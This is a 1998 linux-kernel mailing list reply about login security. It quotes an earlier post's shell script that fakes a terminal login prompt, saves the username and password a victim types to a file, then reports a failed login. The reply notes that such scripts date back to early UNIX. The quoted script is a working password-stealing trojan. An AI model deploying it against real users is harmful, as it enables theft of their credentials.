Re: Linux login security approaches

ralf@uni-koblenz.de
Sat, 12 Dec 1998 06:13:05 +0100


On Wed, Dec 09, 1998 at 08:31:29PM +0100, jens@pinguin.conetix.de wrote:

> What about just starting (as evil_user, who has an account) the following,
> hiding behind a corner, and wait for another user?
>
> #!/bin/sh
> #
> echo -n "`uname -n` login: "
> read LOGIN
> echo -n "Password: "
> read PW
> echo $LOGIN $PW >> ~/sneaked_passwords.txt
> chmod 0600 ~/sneaked_passwords.txt
> echo "Login incorrect"
> sleep 1
> logout
>
> (of course, this has to be a text terminal)

A shell script like that was included with ``UNIX Programmers Workbench'',
volume 2, as delivered with Edition 7 ...

Ralf

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/